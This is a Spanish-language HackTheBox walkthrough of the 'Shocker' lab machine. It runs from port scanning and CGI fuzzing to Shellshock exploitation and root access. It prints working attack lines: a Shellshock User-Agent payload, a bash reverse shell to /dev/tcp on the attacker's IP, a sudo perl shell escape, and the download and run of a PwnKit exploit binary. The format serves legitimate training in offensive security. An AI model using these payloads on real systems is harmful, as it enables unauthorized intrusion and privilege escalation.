HTB Shocker

¡Hola! En esta ocasión vamos a resolver de la máquina Shocker de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre shocker y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

❯ mkhack shocker
❯ cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

  ❯ osping 10.10.10.56
  
  [*] Detectando sistema operativo ...
  
  [+] 10.10.10.56 ttl=63 >> Linux

Identificamos que es una máquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.56 -oG ports | grep open
  80/tcp   open  http

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

 ❯ nmap -p80,2222 -sCV 10.10.10.56 -oN versions                                                                                                                                                                              
  PORT     STATE SERVICE VERSION
  80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: Site doesn't have a title (text/html).
  2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
  |   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
  |_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

FUZZING

Iniciamos con el reconocimiento de potenciales rutas de acceso web por el puerto 80, por medio de múltiples peticiones y evidenciando el codigo de respuesta, verificamos que rutas son accesibles.

En esta ocasión usaremos la herramienta dirsearch con el parámetro -f para poder generar peticiones hacia directorios, es decir, en terminaciones /.

 ❯ dirsearch -t 200 -x 404 -f -u http://10.10.10.56/
  
    _|. _ _  _  _  _ _|_    v0.4.2
   (_||| _) (/_(_|| (_| )
  
  Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 24897
  Target: http://10.10.10.56/
  [20:16:54] 403 -  294B  - /cgi-bin/
  [20:17:05] 200 -  137B  - /index.html
  [20:17:21] 403 -  299B  - /server-status

Podemos ver en los resultados el directorio /cgi-bin/, este directorio tiene como función la ejecución de scripts del servidor, suelen ser de extensiones sh, pl, cgi, entre otros. Por lo que realizamos la creación de un diccionario de extensiones para más adelante ejecutar un fuzzing avanzado.

  vim extensiones.txt
  txt
  sh
  php
  pl
  cgi

Ahora que creamos un diccionario con algunas extensiones potenciales, con la herramienta wfuzz agregamos dos diccionarios, esto es posibl por medio del parámetro -w, podemos agregar la cantidad de diccionarios que deseemos, en esta ocasión solo requerimos de dos, adicionalmente, el comodín para realizar el fuzzing con esta utilidad es FUZZ, sin embargo, para utilizar el otro diccionario, el siguiente comodín se denomina como FUZ2Z.

   ❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
  =====================================================================
  ID           Response   Lines    Word       Chars       Payload                                                                                              
  =====================================================================
  000000622:   200        7 L      18 W       119 Ch      "user - sh"  

SHELL SHOCK

¡Ya tenemos un script potencial!, ahora vamos a revisar cual es el contenido de user.sh

  ❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"
  Content-Type: text/plain
  
  Just an uptime test script
  
   21:30:45 up 57 min,  0 users,  load average: 0.02, 0.03, 0.00

Efectivamente corresponde a un script que se está ejecutando en el servidor, por lo que ahora vamos con ayuda de nmap y su script http-shellshock detectar si es o no vulnerable a shellshock.

  ❯ nmap -p80 10.10.10.56 --script http-shellshock --script-args uri=/cgi-bin/user.sh
  PORT   STATE SERVICE
  80/tcp open  http
  | http-shellshock: 
  |   VULNERABLE:
  |   HTTP Shellshock vulnerability
  |     State: VULNERABLE (Exploitable)
  |     IDs:  CVE:CVE-2014-6271
  |       This web application might be affected by the vulnerability known
  |       as Shellshock. It seems the server is executing commands injected
  |       via malicious HTTP headers.
  |             
  |     Disclosure date: 2014-09-24
  |     References:
  |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
  |       http://www.openwall.com/lists/oss-security/2014/09/24/10
  |       http://seclists.org/oss-sec/2014/q3/685
  |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

¡Nuestro objetivo es vulnerable! Así que es momento de explotar.

EXPLOTACIÓN

Básicamente la explotación de shell shock se da en la modificación del User-Agent al momento de enviar una petición web, esta cabecera se envía de la siguiente manera User-Agent: () { :; };echo;echo; <COMMAND>, siendo el comando que deseamos ejecutar remotamente.

   ❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /usr/bin/whoami"
  
  shelly

Una vez podemos evidenciar que tenemos ejecución remota de comandos, procedemos a entablar una reverse shell por medio de un oneliner de bash.

  ❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.4/4564 0>&1"

Nos ponemos en escucha por el puerto de la reverse shell y tenemos acceso con el usuario shelly.

  ❯ nc -lvnp 4564
  listening on [any] 4564 ...
  connect to [10.10.14.4] from (UNKNOWN) [10.10.10.56] 50738
  bash: no job control in this shell
  shelly@Shocker:/usr/lib/cgi-bin$ whoami
  whoami
  shelly

¡Es momento de leer la flag del usuario!

  shelly@Shocker:/usr/lib/cgi-bin$ find / -name user.txt 2>/dev/null
  /home/shelly/user.txt
  shelly@Shocker:/usr/lib/cgi-bin$ head -c 10 /home/shelly/user.txt; echo
  2ec24e1132

ESCALADA DE PRIVILEGIOS SUDO

Una vez tenemos acceso a la maquina vamos a realizar el escalamiento de permisos para poder obtener acceso privilegiado y control absoluto, en esta ocasión vamos a verificar los permisos de ejecución de comandos con sudo.

  shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
  Matching Defaults entries for shelly on Shocker:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  
  User shelly may run the following commands on Shocker:
      (root) NOPASSWD: /usr/bin/perl

Podemos ejecutar el comando perl con permisos de sudo sin necesidad de tener una contraseña, por lo que vamos a hacer uso del recurso de GTFObins

  shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
  # whoami
  root

ESCALADA DE PRIVILEGIOS POR PWNKIT

Ahora vamos a realizar el escalamiento de privilegios revisando los permisos en la máquina.

  find / -perm -4000 2>/dev/null
  /usr/bin/pkexec

Utilizamos el script de ly4k de sus repositorios en github.

  cd ../exploit
  ❯ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

Luego de tener descargado el recurso, creamos un servidor http con ayuda de python.

sudo python3 -m http.server 80

En la máquina victima por medio de la utilidad wget, realizamos la descarga del contenido compartido anteriormente.

  cd /tmp
  shelly@Shocker:/tmp$ wget http://10.10.14.4/PwnKit                             
  --2022-07-20 23:58:12--  http://10.10.14.4/PwnKit
  Connecting to 10.10.14.4:80... connected.s://raw.githubusercontent.com/ly4k/PwnK 
  HTTP request sent, awaiting response... 200 OK
  Length: 18040 (18K) [application/octet-stream]
  Saving to: 'PwnKit'
  
  PwnKit              100%[===================>]  17.62K  79.0KB/s    in 0.2s    
  
  2022-07-20 23:58:12 (79.0 KB/s) - 'PwnKit' saved [18040/18040]

Ahora solo debemos dar permisos de ejecución al binario y ejecutarlo para tener un usuario con privilegios elevados.

  shelly@Shocker:/tmp$ chmod +x PwnKit 
  shelly@Shocker:/tmp$ ./PwnKit 
  root@Shocker:/tmp# whoami
  root

Ya no queda más que leer la flag de root.

  # find / -name root.txt 
  /root/root.txt
  # head -c 10 /root/root.txt; echo
  52c2715605

¡Hemos logrado completar la máquina Shocker de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.